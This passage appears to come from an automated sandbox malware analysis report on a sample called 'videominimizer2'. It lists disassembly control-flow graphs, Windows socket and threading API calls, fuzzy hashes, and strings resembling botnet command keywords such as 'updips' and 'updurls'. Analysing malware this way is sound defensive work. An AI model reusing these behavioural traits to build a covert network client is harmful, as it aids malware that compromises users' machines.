2d925e6 497->520 498->493 510 2d865ef-2d86610 call 2d8439c 498->510 521 2d86b49-2d86b5d call 2d87ff8 500->521 522 2d869e7-2d86a29 call 2d8971a 500->522 501->500 510->497 531 2d867b1-2d867be 519->531 532 2d86694-2d866ac call 2d927b5 519->532 520->519 533 2d86657 520->533 521->417 534 2d86a2f-2d86a36 522->534 535 2d86b13-2d86b44 call 2d873df call 2d833b2 522->535 531->417 544 2d866b8 532->544 545 2d866ae-2d866b6 call 2d8872c 532->545 538 2d8665c-2d8666e call 2d91850 533->538 539 2d86a39-2d86a3e 534->539 535->521 550 2d86670 538->550 551 2d86673-2d86683 call 2d925e6 538->551 539->539 543 2d86a40-2d86a85 call 2d8971a 539->543 543->535 557 2d86a8b-2d86a91 543->557 552 2d866ba-2d8675e call 2d89844 call 2d83863 call 2d85119 call 2d83863 call 2d89aea call 2d89c04 544->552 545->552 550->551 551->519 551->538 577 2d86760 call 2d8380b 552->577 578 2d86765-2d86790 Sleep call 2d908f0 552->578 560 2d86a94-2d86a99 557->560 560->560 561 2d86a9b-2d86ad6 call 2d8971a 560->561 561->535 567 2d86ad8-2d86b12 call 2d8c10c 561->567 567->535 577->578 582 2d8679c-2d867aa 578->582 583 2d86792-2d8679b call 2d84100 578->583 582->531 585 2d867ac call 2d8380b 582->585 583->582 585->531
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _memset$CriticalSection$EnterLeave_malloc_strtok$_free_swscanf
                                                                                                                                                                                                                                      • String ID: <htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls
                                                                                                                                                                                                                                      • API String ID: 3441009308-1437582238
                                                                                                                                                                                                                                      • Opcode ID: a228cb55e6a86c98971a88ceaf9cfd6ffbd59ed561a49272be7d385522d4fbd7
                                                                                                                                                                                                                                      • Instruction ID: 8ffd037d7350a72ad988cbc5024c89a8ef70faec2c47e980dce645f291e67bd2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a228cb55e6a86c98971a88ceaf9cfd6ffbd59ed561a49272be7d385522d4fbd7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 99A14731648342ABEB15BB34AC25B6F7BEADF86724F14041DF48597381EB21CC05CBA6

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D81D11
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02D81D23
                                                                                                                                                                                                                                        • Part of subcall function 02D81712: __EH_prolog.LIBCMT ref: 02D81717
                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D81D59
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02D81D6B
                                                                                                                                                                                                                                      • __beginthreadex.LIBCMT ref: 02D81DB1
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02D81DC6
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02D81DDD
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02D81DEC
                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D81E14
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02D81E1B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseErrorHandleLast$CreateEvent$H_prologObjectSingleWait__beginthreadex
                                                                                                                                                                                                                                      • String ID: thread$thread.entry_event$thread.exit_event
                                                                                                                                                                                                                                      • API String ID: 831262434-3017686385
                                                                                                                                                                                                                                      • Opcode ID: 14d7add9a77c6a8768c24895f68646ad6928cc48e2e83450fd47308dd474bbf1
                                                                                                                                                                                                                                      • Instruction ID: 5e06ddaa2c93e253b7196564f6c8f6ee0affd540d76e0515388d227709404001
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 14d7add9a77c6a8768c24895f68646ad6928cc48e2e83450fd47308dd474bbf1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 26314771A043019FD700EF24D849B2BBBA5FB84751F10496DF8598B390EB709D4ACBA2

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D84D8B
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84DB7
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84DC3
                                                                                                                                                                                                                                        • Part of subcall function 02D84BED: __EH_prolog.LIBCMT ref: 02D84BF2
                                                                                                                                                                                                                                        • Part of subcall function 02D84BED: InterlockedExchange.KERNEL32(?,00000000), ref: 02D84CF2
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84E93
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84E99
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84EA0
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84EA6
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D850A7
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D850AD
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D850B8
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D850C1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2062355503-0
                                                                                                                                                                                                                                      • Opcode ID: cbf65e62b9220843fb1eec4a39516b890bfac00c4d9060854d8f46a6efebb15f
                                                                                                                                                                                                                                      • Instruction ID: 0de231f7bf6959a755fb3745d50248b877ae5fcf3230d03ad3228677ca758a58
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cbf65e62b9220843fb1eec4a39516b890bfac00c4d9060854d8f46a6efebb15f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FFB14871D0425AEFEF21EFA0D854BEEBBB5EF04314F20405AE405A6281DB755E49CFA1

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 715 401f64-401f84 FindResourceA 716 401f86-401f9d GetLastError SizeofResource 715->716 717 401f9f-401fa1 715->717 716->717 718 401fa6-401fec LoadResource LockResource GlobalAlloc call 402d60 * 2 716->718 719 402096-40209a 717->719 724 401fee-401ff9 718->724 724->724 725 401ffb-402003 GetTickCount 724->725 726 402032-402038 725->726 727 402005-402007 725->727 728 402053-402083 GlobalAlloc call 401c26 726->728 729 40203a-40204a 726->729 727->728 730 402009-40200f 727->730 737 402088-402093 728->737 731 40204c 729->731 732 40204e-402051 729->732 730->728 734 402011-402023 730->734 731->732 732->728 732->729 735 402025 734->735 736 402027-40202a 734->736 735->736 736->734 738 40202c-40202e 736->738 737->719 738->730 739 402030 738->739 739->728
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401F86
                                                                                                                                                                                                                                      • SizeofResource.KERNEL32(00000000), ref: 00401F93
                                                                                                                                                                                                                                      • LoadResource.KERNEL32(00000000), ref: 00401FAD
                                                                                                                                                                                                                                      • LockResource.KERNEL32(00000000), ref: 00401FB4
                                                                                                                                                                                                                                      • GlobalAlloc.KERNEL32(00000040,00000000), ref: 00401FBF
                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00401FFB
                                                                                                                                                                                                                                      • GlobalAlloc.KERNEL32(00000040,?), ref: 00402061
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 564119183-0
                                                                                                                                                                                                                                      • Opcode ID: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
                                                                                                                                                                                                                                      • Instruction ID: b01298f5e92dfabffd3260d40ec81ee59ee3d80feb476c4020a7475af27d6630
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 60315C32900255EFDB105FB89F8896F7B68EF45344B10807AFA86F7281DA748941C7A8

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(?), ref: 02D82706
                                                                                                                                                                                                                                      • CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02D8272B
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02DA3163), ref: 02D82738
                                                                                                                                                                                                                                        • Part of subcall function 02D81712: __EH_prolog.LIBCMT ref: 02D81717
                                                                                                                                                                                                                                      • SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02D82778
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(?), ref: 02D827D9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
                                                                                                                                                                                                                                      • String ID: timer
                                                                                                                                                                                                                                      • API String ID: 4293676635-1792073242
                                                                                                                                                                                                                                      • Opcode ID: a1ab39d58887e1c92f3c96119c17bcb09a095764b532f8d26ee186ddb47d9b2d
                                                                                                                                                                                                                                      • Instruction ID: 71829457b1fd305d6b34e2e52ff499083a417739f86cdc69efb027fadba985d2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a1ab39d58887e1c92f3c96119c17bcb09a095764b532f8d26ee186ddb47d9b2d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A3317CB1904745AFD310AF66D888B16BBA8FB48765F004A2EF85586B80E770EC15CFA5

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 791 2d82b95-2d82baf 792 2d82bb1-2d82bb9 call 2d8fb10 791->792 793 2d82bc7-2d82bcb 791->793 800 2d82bbf-2d82bc2 792->800 795 2d82bcd-2d82bd0 793->795 796 2d82bdf 793->796 795->796 798 2d82bd2-2d82bdd call 2d8fb10 795->798 799 2d82be2-2d82c11 WSASetLastError WSARecv call 2d894fe 796->799 798->800 805 2d82c16-2d82c1d 799->805 803 2d82d30 800->803 808 2d82d32-2d82d38 803->808 806 2d82c2c-2d82c32 805->806 807 2d82c1f-2d82c2a call 2d8fb10 805->807 810 2d82c34-2d82c39 call 2d8fb10 806->810 811 2d82c46-2d82c48 806->811 816 2d82c3f-2d82c42 807->816 810->816 814 2d82c4a-2d82c4d 811->814 815 2d82c4f-2d82c60 call 2d8fb10 811->815 818 2d82c66-2d82c69 814->818 815->808 815->818 816->811 821 2d82c6b-2d82c6d 818->821 822 2d82c73-2d82c76 818->822 821->822 824 2d82d22-2d82d2d call 2d81996 821->824 822->803 823 2d82c7c-2d82c9a call 2d8fb10 call 2d8166f 822->823 831 2d82cbc-2d82cfa WSASetLastError select call 2d894fe 823->831 832 2d82c9c-2d82cba call 2d8fb10 call 2d8166f 823->832 824->803 838 2d82d08 831->838 839 2d82cfc-2d82d06 call 2d8fb10 831->839 832->803 832->831 840 2d82d0a-2d82d12 call 2d8fb10 838->840 841 2d82d15-2d82d17 838->841 845 2d82d19-2d82d1d 839->845 840->841 841->803 841->845 845->799
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32(00000000), ref: 02D82BE4
                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 02D82C07
                                                                                                                                                                                                                                        • Part of subcall function 02D894FE: WSAGetLastError.WS2_32(00000000,?,?,02D82A51), ref: 02D8950C
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32 ref: 02D82CD3
                                                                                                                                                                                                                                      • select.WS2_32(?,?,00000000,00000000,00000000), ref: 02D82CE7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$Recvselect
                                                                                                                                                                                                                                      • String ID: 3'
                                                                                                                                                                                                                                      • API String ID: 886190287-280543908
                                                                                                                                                                                                                                      • Opcode ID: c30c4ccb9e4190da704b1e356a52c15b4a60cf3ecbe178934727260057481136
                                                                                                                                                                                                                                      • Instruction ID: bef7cc2b280c32109d15d3844a876d3288d3863026b3f0b0f0682b53fe46e890
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c30c4ccb9e4190da704b1e356a52c15b4a60cf3ecbe178934727260057481136
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA414BB1A093419FD710BF64D4187ABBBE9EF84754F104D1EA89987380EB74ED44CBA2

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 899 2d81ba7-2d81bcf call 2da2a00 RtlEnterCriticalSection 902 2d81be9-2d81bf7 RtlLeaveCriticalSection call 2d8d325 899->902 903 2d81bd1 899->903 906 2d81bfa-2d81c20 RtlEnterCriticalSection 902->906 904 2d81bd4-2d81be0 call 2d81b79 903->904 909 2d81be2-2d81be7 904->909 910 2d81c55-2d81c6e RtlLeaveCriticalSection 904->910 908 2d81c34-2d81c36 906->908 911 2d81c38-2d81c43 908->911 912 2d81c22-2d81c2f call 2d81b79 908->912 909->902 909->904 914 2d81c45-2d81c4b 911->914 912->914 917 2d81c31 912->917 914->910 916 2d81c4d-2d81c51 914->916 916->910 917->908
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • __EH_prolog.LIBCMT ref: 02D81BAC
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL ref: 02D81BBC
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL ref: 02D81BEA
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL ref: 02D81C13
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL ref: 02D81C56
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave$H_prolog
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1633115879-0
                                                                                                                                                                                                                                      • Opcode ID: b48c1bb4bc65d1fb0940f71e01aa7a2d511bba83b99fcab8a1eda7d9e9f917f8
                                                                                                                                                                                                                                      • Instruction ID: e07cab435781c66d50ab4c2c358bfc679eaccbb01fb5304db9c04800b597c9f8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b48c1bb4bc65d1fb0940f71e01aa7a2d511bba83b99fcab8a1eda7d9e9f917f8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34219AB5A00604EFDB14DF68D444B9ABBB5FF49724F208549E81A97300D771ED0ACBE0

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 919 2d86b98-2d86ba5 920 2d86b86 919->920 921 2d86ba7-2d86bb9 919->921 922 2d86b87 920->922 924 2d86b88-2d86b96 921->924 925 2d86bbb 921->925 922->924 929 2d86bc8 924->929 927 2d86bbd-2d86bc7 925->927 928 2d86b42-2d86b51 925->928 927->929 930 2d86b5d 928->930 931 2d86b58 call 2d87ff8 928->931 932 2d86bc9-2d86c34 929->932 933 2d86b85 929->933 934 2d860e1-2d860e3 930->934 931->930 939 2d86c7d-2d86ca7 932->939 940 2d86c36 932->940 933->922 936 2d860ec-2d860ee 934->936 937 2d860e5-2d860ea 934->937 941 2d860fb-2d86439 RtlEnterCriticalSection RtlLeaveCriticalSection 936->941 942 2d860f0 936->942 938 2d860f5 Sleep 937->938 938->941 945 2d8643b-2d86441 941->945 946 2d86455-2d8645f 941->946 942->938 947 2d86443-2d86445 945->947 948 2d86447-2d86454 call 2d8534d 945->948 946->934 949 2d86465-2d86489 call 2d93750 call 2d8439c 946->949 947->946 948->946 949->934 956 2d8648f-2d864ba RtlEnterCriticalSection RtlLeaveCriticalSection call 2d9133c 949->956 959 2d864bc-2d864cb call 2d9133c 956->959 960 2d86504-2d8651c call 2d9133c 956->960 959->960 967 2d864cd-2d864dc call 2d9133c 959->967 965 2d86522-2d86524 960->965 966 2d867c3-2d867d2 call 2d9133c 960->966 965->966 969 2d8652a-2d865d5 call 2d91fac RtlEnterCriticalSection RtlLeaveCriticalSection call 2d93750 * 5 call 2d8439c * 2 965->969 974 2d867d4-2d867d6 966->974 975 2d86817-2d86826 call 2d9133c 966->975 967->960 977 2d864de-2d864ed call 2d9133c 967->977 1019 2d86612 969->1019 1020 2d865d7-2d865d9 969->1020 974->975 978 2d867d8-2d86812 call 2d93750 RtlEnterCriticalSection RtlLeaveCriticalSection 974->978 987 2d86828-2d86836 call 2d85c02 call 2d85d10 975->987 988 2d8683b-2d8684a call 2d9133c 975->988 977->960 990 2d864ef-2d864fe call 2d9133c 977->990 978->934 987->934 988->934 999 2d86850-2d86852 988->999 990->934 990->960 999->934 1002 2d86858-2d86871 call 2d8439c 999->1002 1002->934 1010 2d86877-2d86946 call 2d91418 call 2d81ba7 1002->1010 1021 2d86948 call 2d8143f 1010->1021 1022 2d8694d-2d8696e RtlEnterCriticalSection 1010->1022 1023 2d86616-2d86644 call 2d91fac call 2d93750 call 2d8439c 1019->1023 1020->1019 1024 2d865db-2d865ed call 2d9133c 1020->1024 1021->1022 1026 2d8697a-2d869e1 RtlLeaveCriticalSection call 2d83c67 call 2d83d7e call 2d87330 1022->1026 1027 2d86970-2d86977 1022->1027 1045 2d86685-2d8668e call 2d91f74 1023->1045 1046 2d86646-2d86655 call 2d925e6 1023->1046 1024->1019 1036 2d865ef-2d86610 call 2d8439c 1024->1036 1047 2d86b49-2d86b58 call 2d87ff8 1026->1047 1048 2d869e7-2d86a29 call 2d8971a 1026->1048 1027->1026 1036->1023 1056 2d867b1-2d867be 1045->1056 1057 2d86694-2d866ac call 2d927b5 1045->1057 1046->1045 1058 2d86657 1046->1058 1047->930 1059 2d86a2f-2d86a36 1048->1059 1060 2d86b13-2d86b44 call 2d873df call 2d833b2 1048->1060 1056->934 1069 2d866b8 1057->1069 1070 2d866ae-2d866b6 call 2d8872c 1057->1070 1063 2d8665c-2d8666e call 2d91850 1058->1063 1064 2d86a39-2d86a3e 1059->1064 1060->1047 1075 2d86670 1063->1075 1076 2d86673-2d86683 call 2d925e6 1063->1076 1064->1064 1068 2d86a40-2d86a85 call 2d8971a 1064->1068 1068->1060 1082 2d86a8b-2d86a91 1068->1082 1077 2d866ba-2d8675e call 2d89844 call 2d83863 call 2d85119 call 2d83863 call 2d89aea call 2d89c04 1069->1077 1070->1077 1075->1076 1076->1045 1076->1063 1102 2d86760 call 2d8380b 1077->1102 1103 2d86765-2d86790 Sleep call 2d908f0 1077->1103 1085 2d86a94-2d86a99 1082->1085 1085->1085 1086 2d86a9b-2d86ad6 call 2d8971a 1085->1086 1086->1060 1092 2d86ad8-2d86b12 call 2d8c10c 1086->1092 1092->1060 1102->1103 1107 2d8679c-2d867aa 1103->1107 1108 2d86792-2d8679b call 2d84100 1103->1108 1107->1056 1110 2d867ac call 2d8380b 1107->1110 1108->1107 1110->1056
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • Sleep.KERNEL32(0000EA60), ref: 02D860F5
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D86100
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D86111
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02D8611A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeaveSleep
                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                                                                                                                                                                      • API String ID: 1566154052-1923541051
                                                                                                                                                                                                                                      • Opcode ID: 18dac60cf870605ef23d3273b36867a2e3365006f49552fbdafc0d2e9b97d556
                                                                                                                                                                                                                                      • Instruction ID: 98e360df67929441e3a43bb6619fed638ac04f32c0a9152eb2938d56213618e1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 18dac60cf870605ef23d3273b36867a2e3365006f49552fbdafc0d2e9b97d556
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8F218B315493809ED702BA30A8555DA3FA9DF47368B8518EAD5C28B393C621EC0AC3D1

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32 ref: 00403336
                                                                                                                                                                                                                                        • Part of subcall function 00404454: HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465
                                                                                                                                                                                                                                        • Part of subcall function 00404454: HeapDestroy.KERNEL32 ref: 004044A4
                                                                                                                                                                                                                                      • GetCommandLineA.KERNEL32 ref: 00403384
                                                                                                                                                                                                                                      • GetStartupInfoA.KERNEL32(?), ref: 004033AF
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004033D2
                                                                                                                                                                                                                                        • Part of subcall function 0040342B: ExitProcess.KERNEL32 ref: 00403448
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2057626494-0
                                                                                                                                                                                                                                      • Opcode ID: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
                                                                                                                                                                                                                                      • Instruction ID: a936b3102d24e78b19d7c169988c3063d29dd1dd2c17feae02d4b7387c8d63d1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 172183B1900615AED704AFB5DE45A6E7F68EF44705F10413EF901B72D2DB385900CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32(00000000), ref: 02D82EEE
                                                                                                                                                                                                                                      • WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02D82EFD
                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02D82F0C
                                                                                                                                                                                                                                      • setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 02D82F36
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$Socketsetsockopt
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2093263913-0
                                                                                                                                                                                                                                      • Opcode ID: 7d985f151c508aa664abcdb55d41bc72e566d66cb09fbd10158520fc69ea2ff7
                                                                                                                                                                                                                                      • Instruction ID: f5268cf8a920336796766256730345715dfe720abf507bcdbed3e4cf5f9af10c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7d985f151c508aa664abcdb55d41bc72e566d66cb09fbd10158520fc69ea2ff7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79012576A41204BBDB206F66DC48F5B7BA9EB85765F408965F9189B281D7708D00CBA0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 02D82D39: WSASetLastError.WS2_32(00000000), ref: 02D82D47
                                                                                                                                                                                                                                        • Part of subcall function 02D82D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02D82D5C
                                                                                                                                                                                                                                      • WSASetLastError.WS2_32(00000000), ref: 02D82E6D
                                                                                                                                                                                                                                      • select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 02D82E83
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
